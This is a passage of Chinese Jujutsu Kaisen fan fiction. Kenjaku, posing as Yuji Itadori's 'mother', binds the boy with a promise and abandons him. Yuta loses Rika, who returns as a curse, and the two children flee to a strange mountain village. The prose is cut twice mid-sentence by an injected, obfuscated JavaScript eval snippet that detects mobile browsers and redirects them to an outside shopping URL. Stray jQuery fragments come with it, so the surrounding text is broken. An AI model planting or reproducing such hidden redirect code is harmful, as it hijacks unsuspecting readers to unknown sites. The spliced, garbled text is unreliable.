粉发的孩子低下头,任凭妈妈的手放在他的额头上,有一种陌生的热量从掌心传进了他的身体中。妈妈叫他名字的声音总是能让人安下心来,每个字节的发音都从容不迫,不光能从中听出妈妈的笃定,这样的呼唤对于虎杖悠仁来说也代表了一种充满信赖的安慰。
“妈妈要离开很久,”羂索发现虎杖悠仁在听到这话之后很快便失落了起来,不过也过于乖巧地自我消化了这样难过的信息,被不自觉微微皱起的眉头下那双蜜一样的眼睛注视着的感觉居然让他体会到了一丝只有“母亲”才明白的不舍与偏爱,“不过,妈妈可以和悠仁立下约定。”
但那只是飘忽一瞬的烟尘,甚至不需要风,自然而然地就那样消散了。
羂索伸出一根小指,虎杖悠仁毫不犹豫地伸出小指勾了上去。这样急切的行为让羂索没忍住,直接笑了出来。
“......那么,悠仁和妈妈的这个约定是永久生效的哦,我可以向你保证。”
虎杖悠仁点了点头。因为眼前的这个人是“妈妈”,所以不用知道具体的约定,虎杖悠仁只想抓住这来之不易的联结。
“悠仁有什么愿望吗?有什么想吃的好吃的?有什么想去的地方?”
羂索循循善诱,引导着虎杖悠仁迈向了未知的深渊。
虎杖悠仁仔细思考了很久,说道:“我想见爷爷。”
这个愿望被毫不留情地回绝了:“我说过了,爷爷已经去世了哦。活人是没办法再见到死人的,悠仁。”
关于虎杖倭助的一切都已经随着显示在心电监护仪上的平直线条永久地沉寂了,那栋曾被冠以虎杖之名的房子也将在下周迎来它的新主人。
粉发的孩子因为被拒绝而背起手来,晃悠着身子来缓解自己的难过。很快,虎杖悠仁就有了新的愿望:“我想找忧太玩。”
羂索想到了接走虎杖悠仁时在公园里见到的那两个孩子。忧太应该是那个黑发的男孩子吧?看他的眼神很可怕呢。
“好啊,我答应你了,”羂索蹲在虎杖悠仁身前,视线与他齐平,单手挑起小孩子的下巴,“但是,悠仁也要答应我一件事。从今以后,要永远听‘妈妈’的话。”
语言可以变成毒蛇。
它们滑动着,寻着虎杖悠仁的耳道钻进了他的大脑,游走在这片未被全面开发的未知之地,篡改着某些极为重要的信息。
“悠仁是个乖孩子,能答应妈妈的请求吗?”
羂索笑着,用轻柔的语气哄劝着小小的孩子,将虎杖悠仁完完全全地笼罩在了自己身体的阴影之下。
虎杖悠仁看不见那些将他包裹住的危险气息。
渴望亲情的孩子追逐着虚无的幻影,将所有的天真信任都交付了出去......然而他很快就后悔了。
当他张开嘴巴,说出“好”之后,那些一直秘而不露的恶意从眼前这个“人”的身上喷涌而出。虎杖悠仁好似吃到了一颗内里腐坏的糖果,在舔掉甜蜜的外壳之后,舌面接触到了令人窒息的苦涩。
粉发的孩子像个受惊的小动物一样慌乱地逃窜起来,依旧是身体的本能快过了大脑的思考,他居然从妈妈的手中挣脱,猛地向后退了两步。
羂索显然不再在意他的态度,他毫不留恋地转身离去,这样的背影令虎杖悠仁意识到妈妈的“温柔与和善”并非只属于他一个人。或者说,留给他的并非只有那让人垂涎欲滴的温暖。
孩子不知道自己的选择将要付出何种代价,总有一天,年幼无知、无人庇佑的自己将带着尖刀刺向未来。
妈妈。
虎杖悠仁咀嚼着这个字眼,清透的眼睛被求生本能感知到的危险蒙上了一层阴影。他终于开始疑惑为什么妈妈不是妈妈的样子,为什么没有爷爷的葬礼,为什么将他带走又抛给其他人照顾。
透过那层被精心伪装好的皮囊,虎杖悠仁得以窥见其不洁的内里。
“你是叫虎杖,对吧?”孔时雨伸出手在孩子的头顶搓了两把:“如你所见,这间小公寓以后归你了,他付了足够的钱让你上学,不过一日三餐要自己准备,订餐或者买便利店都随便你啦。”
孔时雨说了很多,似乎顾及着他的接受能力没再说些更复杂的事情,把钥匙留在了鞋柜上就出门离开了。
他向来收钱办事,以后只要每星期过来看看保证这小孩还活着就行。
他可不是照顾小鬼的保姆,这种频率的探望已经算是他大发慈悲。
“......这里是哪里?”虎杖悠仁追了上来,虽然公寓楼下的商店有看起来像是地名一样的文字,但他还认不全那些生涩的汉字,所以只能跑出来问孔时雨。
“这里?这里是新宿啊。”
——
祈本里香被送去了学校,还没到上学年龄的乙骨忧太只能一个人独自徘徊在公园、河边,等待着女孩放学。
虎杖悠仁已经一周多没有出现了。乙骨忧太尝试过给他打电话,却总是无人接听的状态。直到今天他再也忍不住了,怀着忐忑的心情敲响了虎杖家的大门。
也许是因为妈妈回来了,所以想要多花些时间和家人相
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378144|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处?
他敲了两遍,依旧没有人应答。
他从窗户外向内看去,屋子里漆黑一片,一盏灯都没开。
“孩子,你找谁?”邻居婆婆听到了乙骨忧太在隔壁闹出的动静,推开窗户问道。
“那个,我想找悠仁......难道说他最近都在医院看爷爷吗?”
那个婆婆露出了惋惜的表情,无可奈何地叹了口气:“别找他了,你还不知道吧?虎杖先生前段日子就去世啦。有个自称他家人的小伙子办的葬礼,估计没有请别人,只是自己办完了这些吧......那孩子也很可怜,应该是被送去福利机构之类的地方了。”
乙骨忧太不可置信道:“他的妈妈还活着呀?!就是一个个子很高,总带着帽子的男人!”
邻居婆婆古怪地说道:“男人?男人怎么可能是他的妈妈?你看到的估计是远房亲戚之类的,而且虎杖先生自己说过哦,他的儿媳妇香织早就去世了......”
虎杖悠仁就像是人间蒸发了一样。就连这栋房子都已经卖给了其他人,新主人很快就会搬进来。
乙骨忧太听到这晴天霹雳一般的噩耗,整个人深受打击,变得阴沉了起来。
公园里的那个男人不是悠仁的妈妈?但悠仁又确确实实地叫了他“妈妈”。
乙骨忧太能够想到的、能够理解的、能够猜测的最有可能成真的解释就是:虎杖悠仁的妈妈也是个“怪物”。
那是个披着人皮的幻影,是将虎杖悠仁从他和祈本里香手中夺走的可恶的家伙。
不知为什么,乙骨忧太和祈本里香在见到那个人的第一眼就觉得十分厌恶。仿佛散发着某种恶臭的气息一样令人不适,尤其是他看向虎杖悠仁和他们时的眼神。
乙骨忧太还记得那种蛇一样的阴冷,身体不由自主地回忆起当时的情形,记忆犹新。
他们明明约好了要成为新的家人,他明明决定无论如何都要好好保护他们......却让虎杖悠仁在他的眼前被带走了。
是他的错。他当时不该放手的。
乙骨忧太吃了饭团当做午饭。父母要上班,妹妹去幼稚园,而乙骨忧太因为无法和同龄的孩子好好相处而被家周围的几家幼稚园委婉地劝退了,父母索性让他在家等到能够上学的年龄直接去上小学。
关于祈本里香......他的父母并不怎么喜欢里香,但他的妹妹很喜欢她。乙骨忧太还是不太能够明白父母的顾虑,但那些落在祈本里香身上的目光与曾经、乃至现在仍落在他自己身上的目光是那样相似。
这让他隐隐感觉到了一些......被排斥。
小孩子并非真的像大人想象得那样什么都不懂。相反,正因为他们和这个世界还很陌生,因此更容易留住那些大人无意识投射到他们身上的东西。视线、言语、动作......在有了妹妹之后,乙骨忧太更能敏感地捕捉到那些微妙的信息。
家人应该是相互爱护的,但是,也可能会相互怨恨、相互嫉妒,生出比爱更扭曲的恶意。
乙骨忧太就像一张轻飘飘的纸片,站在马路边上。
满目都是鲜红的血液,粘在车轮下,蹭出两道很长很长、扭曲的车辙印。连轮胎上的花纹都清晰可见。
那对因为尺寸过大而无法戴在手上、只能用链子挂在脖颈的戒指被从祈本里香的身上扯了下来,银色的戒圈上,那颗纯白的钻在血泊中反射着绝望而美丽的光。
“里香......?”
——
孔时雨看着背着假面骑士书包的虎杖悠仁,一如往常地随意问道:“你这小不点是认真的?你现在还可以反悔哦。”
虎杖悠仁摇了摇头。
孔时雨耸肩,拉开车门让他进去了。
给钱的那位很大方,尤其叮嘱过如果这孩子想要去仙台的话,孔时雨要负责来回接送。
不过说是找朋友,但虎杖悠仁背后的包鼓鼓囊囊的,看起来带了很多东西。孔时雨猜大概是他自己买的零食之类的,毕竟是小孩子嘛。
“如果你朋友家的大人允许你留宿的话,我们就在仙台住一晚上,”孔时雨的时间很宝贵,但恰好羂索用足够多的钱买下了那些时间,他现在只需要想想究竟要怎么打发掉这一趟行程中过于无聊的等待时间,“如果不行,或者你没见到你的朋友,咱们晚上就要回来喽。”
虎杖悠仁乖乖点头。
他不会再回来了。这里没有他的家人,连妈妈都离开了,他想要回到和爷爷一起居住的房子里生活。他觉得在哪里住都一样,孔时雨每个月会给他现金,足够他自己照顾好自己。
更何况......他觉得妈妈有点不对劲。
那种源自灵魂深处的冲动与呼唤曾经遮住了他的双眼,直到答应了妈妈的请求才稍微有些松动。粉发的孩子从某种狂热的追逐中脱离出来,在独自居住在新家的这一周里慢慢思考出了一些别的事实。
妈妈真的是他的妈妈吗?
可是......
他的生命渴求许久的爱意似乎并不是他想象的那样纯粹又美好。
它裹挟着被虎杖悠仁本能抗拒着的恶与......诅咒。
6. 第 6 章
虎杖悠仁发现他和爷爷的家已经不属于他了。刻着“虎杖”二字的小木牌被取下,换上了陌生的名字,庭院被打理得焕然一新,门口仍留着许多搬家后没有扔掉的大型纸箱。
他跑到了公园里,从中午一直坐到了晚上。
不知道乙骨忧太家的电话,也不知道他家住在哪里。有些失落的孩子坐在小轮胎制成的秋千座椅上,用鞋子踢着脚下的石子。
他在家门外——曾经的——杂物箱里看到了他那件明黄色的雨衣包裹在红色小伞外,绿色的青蛙雨靴被人剪开,随意丢在箱子里。他已经没有可以称之为“家”的地方了,望着那熟悉又陌生的房屋,他感觉自己无处可去。
秋千和支撑架连接的地方常年风吹雨淋已经生锈,他每一次摇晃都会让它发出不堪重负的嘎吱声。
规律的噪音让他逐渐摆脱了计划被打乱的紧迫感,虎杖悠仁开始思考自己今后要如何生活。看起来,只能回到新宿的那间公寓按照妈妈的安排按部就班地长大。
孔时雨和他约定了集合的时间,然后就放心地让他自己行动了。直到夕阳西下,太阳完全落山之后,孔时雨在他们约好的便利店门口见到了正在买关东煮的虎杖悠仁。
“见到人了?”成年人在下风处抽烟,虎杖悠仁吃着自己的晚饭,摇了摇头。
“......你们难道没有留过联系方式之类的吗?或者在哪个学校?家呢?”
虎杖悠仁什么都不知道。
哼,果然是小孩子。孔时雨手里摆弄着打火机,看粉发的小孩一言不发地乖乖吃东西,不知道怎么就觉得其实再在仙台呆一晚上也没什么关系。明天又没有重要的工作......当他说他们可以在仙台住一晚的时候,虎杖悠仁整个人肉眼可见地高兴了起来。
迎着晨光,虎杖悠仁踩过沾满露水的草地,冲进了那个小公园。
他第一次这么早来到这里,期待着和熟悉的朋友们、他的“家人”们重逢。
好好地和他们告别,告诉他们自己的新住址,邀请他们如果去新宿的话一定要去找他玩。
“......忧太、忧......忧太......”
公园的全貌还藏在灌木丛之后,虎杖悠仁听到了扭曲的呼唤。他疑惑着停下了脚步,将注意力放在了捕捉那错位的声音上。
“忧太......保护、会保护你......”
乙骨忧太蜷缩在滑梯下面的空洞里,双手抱着头,把整张脸埋在了双膝之间。他颤抖着身体咕哝着什么,拔高的音调中满是惊惶和无措:“里香......求你了......拜托你......”
高大的白色生物从他的影子里冒了出来,虽然只是露出了头部,但依旧能透过头颅的大小窥见它藏在影中的身躯究竟有怎样令人惊讶的庞大。
这是诞生自祈本里香尸体上的怪物。女孩残缺的身体将那一天的傍晚在乙骨忧太的记忆中染成了血红色。
那天的夕阳的确烧得过分美丽。
乙骨忧太觉得这是因为祈本里香没能成佛,所以才会以这样的姿态留在了这个世界上。那其他的那些怪物也都是一个个没能成佛而游荡在世间的可怜灵魂吗?
“里香......”
里香拒绝任何人靠近乙骨忧太。起初只是会发出威吓的低吼,在发现看不见怪物的父母和妹妹毫无反应之后,她开始变得更加不稳定。妹妹在阳台上莫名其妙地摔倒,父亲从楼梯上滚落摔断了腿,乙骨忧太无法解释、无法阻止,只能眼睁睁地看着他们家的生活不可控制地滑向了深渊。
乙骨忧太觉得里香渐渐安定了下来。它不再徘徊于洞口焦躁不安,发出阵阵低吼,而是渐渐沉入了影子中消失不见了。这是它这些天最安静的时候。
“忧太?为什么躲在这里?刚才那个是什么?”
情景再现般,虎杖悠仁再一次出现在了乙骨忧太的身前。视觉还没恢复,长时间处于黑暗当中,乙骨忧太的眼睛被刺目的朝阳晃了一瞬,眼前阵阵发白。
但虎杖悠仁的手已经握上了他的手腕,偏高的体温和他因为长时间身处户外而冰凉无比的皮肤有着巨大的温差,让乙骨忧太产生了如同被灼伤一般的痛感。
“悠仁......?真的是你吗?”
如此相似,粉发孩子的脸背对着阳光射下的方向,身体笼罩在阴影中,可唯独那双眼睛却鲜活而透亮,让乙骨忧太不自觉地想要跳进那片蜜色的漩涡里。
只不过,这一次的情况稍有不同。
虎杖悠仁只是犹豫了一下,没有同他们第一次相遇时那样将乙骨忧太拉出洞穴,反倒是将自己挤了进去。
他用自己将洞口照进来的光挡得严严实实,让乙骨忧太重新看清了他的脸。
“忧太,发生了什么吗?”
乙骨忧太像是抓住了最后的稻草一样,扑了过去,死死抱住了粉发的孩子。
他几乎是泣不成声,语无伦次地诉说着虎杖悠仁从他身边离开后这段时间里发生的一切。
“里香、里香她......没有成佛,她变成了怪物......你看到她了!肯定、肯定是还有什么心愿......难道是因为、那个......吗?!”
没有回答,狭小的空间里只能听到呜咽的声音。
他纵容自己的眼泪打湿了虎杖悠仁肩头的衣服,当他终于从那片濡湿的地方抬起头来时,和同样淌了满脸的泪水撞了个正着。
他们狼狈地躲在小小的洞里哭了一场,最后全都疲惫地靠在一起睡着了。
在虎杖悠仁回到乙骨忧太身边之后,里香变得非常安静,仿佛陪伴着他们一起睡去了一般,化作无形的力量环绕在他们身边。
以守护者的姿态。
——
淅淅沥沥的雨声吵醒了他们。
虎杖悠仁往乙骨忧太的方向缩了缩,避开了有雨丝飘进来的洞口。
“......里香为什么没有成佛呢?”乙骨忧太声音小小的,但足够虎杖悠仁听清他的话。
“不知道喔......我也不知道爷爷有没有成佛。”
这场突如其来的雨让孔时雨打消了去外面找人的念头,他觉得那孩子应该很快就会回来,所以安心地在约好的地方等待着。
虎杖悠仁和乙骨忧太所在的这个滑梯下的空间只有一个出口,偶尔能感受到一些凉爽的风驱散了晌午的燥热,带来伴随着雨水的土腥味。
乙骨忧太将自己缩得更小了。他本就长得消瘦一些,如今更显得太过单薄:“......也许是,里香还有什么愿望没有完成吧。”
他没有参加祈本里香的葬礼,只是远远地站在墓地之外、隔着铁栅栏看着那口小小的棺材被埋入土中。
“我以后,应该要搬去乡下了,”乙骨忧太下垂的眼角因为哭泣和泪水的浸润而变得红通通的,他几乎是在苦笑着说,“所以以后见不到悠仁了......这么一想的话,真的好寂寞。”
父亲的腿伤很严重,乙骨忧太从妈妈的只言片语中知道了父亲将会丢掉现在的工作,再加上需要住院治病,家里的状况并不好。
回到乡下老家和素未谋面的爷爷一起生活,或者去姑姑家借住,直到明年四月乙骨忧太到了上学的年龄之后再做考量。
他们无力再照顾一个“难以理解”的孩子,最近发生的这些诡异诅咒让家中的气氛变得压抑,而乙骨忧太也想要尽可能避免里香对家人造成更大的伤害,所以决定去人更少的乡下。
那是一个比较闭塞和原始的小村子,距离城镇很远很远,几乎无法在大部分地图上找到它的名字。父母和留在村子里的老人关系并不好,谈不上亲密,也算不上疏远,妈妈用电话和老家的爷爷沟通了很久,最终敲定了乙骨忧太未来半年的去处。
“爷爷家的隔壁有一间空屋子,奶奶去世后就一直没人住......下午我就要出发啦。”
尽管一个人会很寂寞,但乙骨忧太只能这么做。里香的情绪非常不稳定,哪怕走在街上都会时不时变得暴躁起来,不论同性还是异性,只要有人过分接近乙骨忧太,都会让里香不自觉地冒出头来,焦躁地吼着。
“果然,”乙骨忧太笑着说,“我还是想和悠仁待在一起......”
“那我们就一起!”
虎杖悠仁不喜欢乙骨忧太现在的这个笑容。他大声宣告着,用稚嫩的声音击碎了乙骨忧太想要竖起的伪装。
他也想和忧太待在一起。
他们说好了,以后要永远、永远在一起的。
乙骨忧太瞪大了眼睛,不可置信地说:“但是,悠仁不是还有自己的妈妈吗?”
虎杖悠仁换了个姿势坐着,有些纠结地说:“他是妈妈,但我有时觉得他不是我妈妈.....我很喜欢他,但有的时候我觉得他很可怕。”
那间公寓里,虎杖悠仁可以干任何自己想做的事。可以喝到美味的奶茶,可以从早到晚地开着电视机,吃任何他想吃的东西。
但是,那样很寂寞啊。
一个人对着电视机发呆,一个人坐在空荡荡的餐桌上吃东西,一个人孤单地入睡......所以他非常想念乙骨忧太和祈本里香,不惜抛下妈妈随时可能会回去的公寓,跑到仙台来找他们。
“那,”乙骨忧太抓住了虎杖悠仁的手,“那我们以后就永远在一起!”
里香感受到他的情绪波动,从影子里冒出了头来。
乙骨忧太仍旧有些惧怕它,可虎杖悠仁却慢慢伸出手,在白色的身躯上轻柔地抚摸着。
“里香不是怪物,”粉发的孩子如此笃定道,“它一直在说要保护忧太不是吗?”
在他的鼓励下,乙骨忧太轻轻地碰了碰里香的头。
它发出了愉悦的咕哝。
手下的表皮非常坚硬,里香的皮肤光滑无比,不似想象中的粗糙,让人不自觉地想起她那头如绸缎般的长发。乙骨忧太通过这样的接触忽然明白了什么。
这次,绝对不会放手。无论发生什么,他都会保护好虎杖悠仁。连带着祈本里香的份一起,保护他们的这个“家”。
他们坐上轿车的时候雨还没停。司机通过手机和乙骨忧太的妈妈确认了目的地,然后就这样带着两个孩子出发了。
苦等未果的孔时雨终于有些坐不住,撑着伞去了虎杖悠仁昨天待了很久的小公园。
“这个残秽......不会吧?”
难道倒霉地遇到了什么特级咒灵被吃了?可是附近没有见到血迹之类的东西。直到天黑也没能找到虎杖悠仁的孔时雨只能头疼地给自己的雇主打电话,说明了情况。
羂索此时正在一片人迹罕至的荒原,如果孔时雨的电话再晚两分钟打过来,他的手机就会彻底失去信号。
“不见了......?”羂索勾起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378145|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一侧的嘴角,追踪着自己留在那孩子身上的咒印:“呵呵,没关系,随他去吧。”
束缚已经结成,虎杖悠仁的身体素质和强大的生存本能不会让他轻易死去。如果这次“逃走”能让他进化成超乎羂索想象的存在......这也是极令人期待的事。
可能是出于“妈妈”最后的关爱,他叮嘱孔时雨:“钱要由你负责送到他手上......不用亲自出面,邮寄、匿名包裹,随便你。我给你的报酬足够你完成这项工作。”
他蛮喜欢听那孩子喊他“妈妈”。
所以,你可不能随随便便地死掉啊,虎杖悠仁。
——
这是一个藏在山谷的褶皱里、被时间遗忘了的小村子。进出这里的路只有一条,另有一条小河贯穿了村子,村外的水道中蜿蜒着流淌浑浊的水。两岸是大片错落的田地和菜畦,放眼望去却是一片有些病态地黄绿色。
司机将乙骨忧太和虎杖悠仁放在了村口,就从那条坑坑洼洼的单行道上离开了。他们下车的地方立着一个牌子,不过上面的字已经因为常年无人清理而被灰尘和青苔覆盖,看不清楚。
摇摇欲坠的牌子下面有一个小小的神龛,里面供奉着看不清脸的石像。
乙骨爷爷家很好找,屋顶被涂成了红色,落在稍远处的高地上,从一众低矮陈旧的老式房屋中脱颖而出。他们到的时候早就过了晚饭的时间,只有几户人家的烟囱里还往外冒着炊烟。
这时村子里居然看不到什么人。
几乎家家门口都放了各种样式的石像,不知道是不是因为光线的原因,石像的脸总是模糊不清的。
乙骨忧太带着虎杖悠仁敲响了爷爷家的门。
门打开了一个缝,一只瞳仁很小、眼白很多、眼尾下垂的眼睛露了出来。
“爷爷?我是忧太,这......”
“你后面那个小鬼是怎么回事?那女人可没说你要带人一起来!让她再寄钱来才行!”
乙骨忧太被老人激动的语气击退了,他怎么也没料想到老人会如此咄咄逼人,甚至来不及让他插话解释。
“爷爷!我是虎杖悠仁,”粉发的孩子规规矩矩地弯腰行礼,学着大人用谦逊的语气表达着自己的来意,“我力气很大,可以帮忙干活,请您让我留在这里吧!”
令人难以忍受的沉默逐渐蔓延开来,乙骨忧太鼓起勇气看向门后的老人,用眼神表达自己的决意。
“拜托你了,爷爷!悠仁没有地方可以去了!”
屋子里的老人用露出来的眼睛盯着他们,虎杖悠仁仍旧弯腰低头,不过扯着裤腿的手指暴露了他并非如面上那样轻松。
“......”
审视的目光终于移走了,乙骨忧太的后背已经被冷汗浸透,他能感觉到里香正在逐渐醒来。
“她每个月就给那点钱,我可管不了更多,剩下的你们自己想办法。”
老人说完,丢出了一串钥匙,砰地一声把门关上了。
乙骨忧太从地上捡起了钥匙,望向隔壁的房子。这是两栋独立的、带阁楼的房屋,爷爷在的这一栋是红屋顶,他们住的那栋是普通的灰色瓦片。
与老人那拒绝沟通的态度相比,这栋小房子的门口被收拾得还算干净,至少看不见什么难以清理的杂物。推开门,摸到墙上的开关摁下,等待了两秒之后才有灯光伴随着很大的电流声照亮了这间房子。
对小孩子们来说,这里已经足够大了。
虎杖悠仁已经蹬掉鞋子踏上了木地板,四处走来走去,像是刚来到新家的小动物一样巡视着领地。
“等一下啊悠仁,地板可能会很脏......”他穿着白色的袜子,但乙骨忧太说得太晚了。
虎杖悠仁抬起脚看了一下,果不其然,脚底已经沾上了不少灰尘。
“我会自己洗袜子的啦。”
乙骨忧太没有在鞋柜里找到拖鞋之类的,只能把虎杖悠仁的鞋子丢给他:“先穿着鞋子吧。”
黑发的孩子自然而然地承担起了哥哥的身份与职责。他离开家之前,母亲除了告诉他要如何清理房屋,还偷偷塞给了他不少钱,让他在爷爷给的钱不够的时候再用。
这里只有一个房间,玄关旁是浴室,一张双人床就占去了不小的地方,再加上摆在床边的落地衣柜就更显得逼仄了起来。屋子里没有生火做饭的地方,灶台在房间外的一个小棚子里。
这里没有洗衣机诶......但浴室里可以接水。
乙骨忧太还在适应与城市截然不同的乡下居住环境时,虎杖悠仁已经打开了衣柜,顶着木头潮湿的气味将里面的衣钩全都拿了出来。
“放在里面会有很难闻的味道,”他解释着,屋子里有原主人居住时留下的铁丝,似乎是专门用来挂东西的,“忧太,帮我一下!我够不着!”
乙骨忧太搬来一个小木凳子,踩上去的时候嘎吱作响,他觉得这个垫脚的凳子随时都会散架,所以迅速将虎杖悠仁和他自己的衣服都挂了上去。
这样就像是一道帘子隔开了“卧室”和“客厅”。
浴室的面积倒是很大,因为这里还有非常传统的需要烧水才能加热使用的浴缸,不过那里面已经开始发黄生霉,即便清理出来也不太让人有在那里面泡澡的冲动。
他们只是用水龙头里的水简单清理了一下,然后躺在满是霉味的枕头上度过了在这个村子里的第一个晚上。
7. 第 7 章
他们醒得很早。或者说,这座村子醒得很早。
天蒙蒙亮时,各种城市里听不到的声音就窸窸窣窣地传了过来。在没听过的鸟叫虫鸣中,乙骨忧太尝试着打开院子里的水龙头。
“好小啊。”拨弄开关后却只有细微的水流淌出来,乙骨忧太蹲下来扣弄了一下滤网,水柱稍微大了一些。
这个水管看起来已经有很多年头了,水龙头的滤网里塞满了泥沙和锈迹,不更换的话根本无法使用。
虎杖悠仁揉着眼睛出来的时候,看见乙骨忧太围着水管团团转。
听到靠近的脚步声,乙骨忧太转过头去:“悠仁......”
清晨略低的气温让虎杖悠仁打了个冷颤,迷糊的大脑清醒了过来。他们站在彼此身边,望着后院中的那口井。
围成井口的石头已经被时间磨圆,上面盖着参差不齐的木材钉成的盖板。水桶就在井旁,不过上面肉眼可见地破了一个洞,显然无法再完成它本来应有的职责。
虎杖悠仁拉着乙骨忧太离开了院子。他们沉默地吃完了最后的零食当早餐,准备趁着白天好好收拾一下房间。
水还是最大的问题,不过好在浴室里的水龙头还能流出比较干净的水。他们同样没有清洁工具,犹豫再三,两个人还是决定在里香安稳的时候去村子里逛一圈,看看有没有便利店或者杂货店之类的地方。
村子一共有三条主街道,小巷错综复杂。他们的屋子脱离了主要建筑区,在更靠近森林的山坡上。从他们的院子里能够大致看见整个村子的全貌,在他们斜对角的方向有一棵很高大的树,枝繁叶茂,不仅高度傲人,树冠形成的阴影至少将周围一圈的房屋都笼罩了进去。
粗壮的树干上缠绕着白色的注连绳,还能勉强看出下面不知道什么材质制成的之字形纸垂。
这座村子醒得很早,与昨晚日落后的景象截然不同,人们三三两两地坐在路边乘凉,偶尔有背着工具、推着小车的人走向村外的田地。他们很少看到小孩子,尤其是与他们同龄的那种。
汽车对这里的村民来说是个稀罕的东西,村子里的交通工具大多是三个轮子的小推车或者自行车,但是因为村内的道路凹凸不平,自行车一般都只被当成运输货物的小型手推车。
“山之......蔬菜店?”虎杖悠仁不太认识第三个字。
“是惠,大概是山的恩惠的意思?”
这是他们碰到的第一个售卖蔬菜和瓜果的店铺。早上的菜本来应该是最新鲜的,但这家店菜筐里的蔬菜基本都蔫头耷脑,有的筐里只剩下三两根,有的菜叶表面已经缩水变得皱皱巴巴,看上去不并不新鲜。
爷爷不会给他们准备吃食,他们需要自己解决饭菜的问题。如果不能尽快学会自己使用灶台做饭,那就必须每天去买便利店食品。
他们一路上路过了许多家庭小饭店,从杂货店里买到了需要用到的清洁工具,走到了这条路的尽头也没有找到便利店和第二间菜店。
虎杖悠仁跑去问聚集在凉亭下聊天的老奶奶们,乙骨忧太站在远处观望。
乡下的人群密度比较低,比起拥挤的城市,这里的确能让里香稍微放松一些,不过乙骨忧太还是尽可能地避免太过靠近村民们。
虎杖悠仁回来的时候,怀里被塞了几个像是从地里刚摘的新鲜果子,那些老奶奶们脸上都堆满了笑容,似乎对他们这两个突然出现在村子里的陌生孩子并不感到好奇。
也许是因为她们并不认识村里所有的孩子?虎杖悠仁本来还觉得这个村子很小,但哪怕是住在这样的聚落中,也并非所有人都能和自己不知道的存在建立起无形的联系和牵绊。
因此才更显得他们的相遇愈发宝贵。
“她们说在另外的一条街上!”虎杖悠仁满载而归,带着乙骨忧太冲向了另外的街道。他们用袖子简单擦了擦奶奶们塞过来的果子,虎杖悠仁只咬了一口就没忍住皱起了脸。
“好酸——”
不知道是没熟透还是味道出现了问题,这个外表看起来非常诱人的红色果子又酸又涩,大意了的虎杖悠仁直接被它的怪味击倒,和只咬了一口的果子面面相觑,继续吃也不是,直接扔也不是,万一那些老奶奶看到自己的果子只被人咬了一口就丢进了垃圾堆,多少也会有些伤心的吧。
乙骨忧太悄悄试着咬了一下自己手里的那个,殷红的表皮下果然藏着酸涩的果肉。
“嗯......果然有点勉强呢,要不然带回去埋在土里,看看明年能不能长出树来吧!”
虎杖悠仁听到他的建议之后眼睛亮了起来:“好哦!”
他们果真找到了镇上唯一一家便利店。和蔬菜店一样,这里的货架空得可怜,柜台前也空空荡荡的,老板坐在收银台后昏昏欲睡。两个孩子走进来的脚步声并没有吵醒他,在鼾声中他们开始查看货架上剩下的一些物品。
商品的种类倒是和城市里的差不多,只不过像是饭团、便当一类的速食食品货架几乎都是空的,看起来已经有一段时间没有补货了。
虎杖悠仁拿来了一个购物篮,他们挑了一些调味品放进了筐里。走到冷柜旁边,毫不意外地看到了空荡荡的货柜,上面只剩下了零星两三种奶制品,存放肉类的冰箱虽然仍有剩余,但乙骨忧太看见了趴在包装袋外的苍蝇和蚂蚁,不由得皱起眉来。
城市里的便利店和超市在晚上关门前会出售打折商品,对于生活拮据的人来说,打折便当极大地缓解了他们的经济压力。虽然不是新鲜的货物,大多数是临期或过期没多久的商品,但胜在真的很便宜。
只是看蔬菜店和便利店的情况,这个村子里的货品并不是每日补充的,就更别想可能会有打折商品了。
乙骨忧太轻声问虎杖悠仁还有什么想吃的:“零食?糖果?”
虎杖悠仁摇摇头。
不知为何,被他们摆放购物篮的声音吓醒的老板发出了一声大叫。他从椅子上跳了起来,撞到了椅子背后的货柜,上面放着的三两个商品叮铃哐啷掉了下来。
“大叔,你没事吧?”
心脏狂跳的老板这才注意到购物篮后面还站着只比柜台高出不到半个头的两个孩子。
“哈啊,吓我一跳,”他拍着狂跳的心脏,额角鼓鼓胀胀地疼痛,“你们是哪家的孩子?我没见过你们。”
得知他们是住在红房子里的乙骨家的人,便利店老板的表情变得耐人寻味了起来:“怪不得......这是找你的钱,你自己收好吧。”
村子里的基础设施还算完备,有诊所和修理店,服装店比较多一些,有制作传统和服羽织等衣物的老店,也有售卖新兴潮流服饰的店。不过上面的图案在虎杖悠仁看来都有些过于幼稚,但是他喜欢的帽衫有很多。
靠近那棵仿佛能够直通天际的树下,他们才发现那是一棵至少需要几十人拉着手才能围住树干的巨木。
树根周围的地面被顶开了,所以空荡荡的没什么建筑,只有一座神龛藏在粗壮的树根之间。那些粗壮的根系每一个都和普通的树木差不多粗,盘根错节地堆积在地表之上,拱起的高度能够完全超过乙骨忧太的身高,交错的地方有不少可以在捉迷藏时用来躲藏的小空间。
乙骨忧太从来没有见过这么高大的树,而且它是如此的生机勃勃。
随着他们逐渐走近,一股熟悉的味道扑面而来。虎杖悠仁嗅了嗅,有些不太确定地问道:“这是刚才的那个果子的味道吗?”
酸涩的气味之中夹杂着腐烂的味道。靠得足够近了之后,他们看到了掉在巨木周围的那些红通通的果子。一些被摔烂的果子从伤处开始腐烂,表皮变黑变软,散发出令人不适的味道。
噗通——
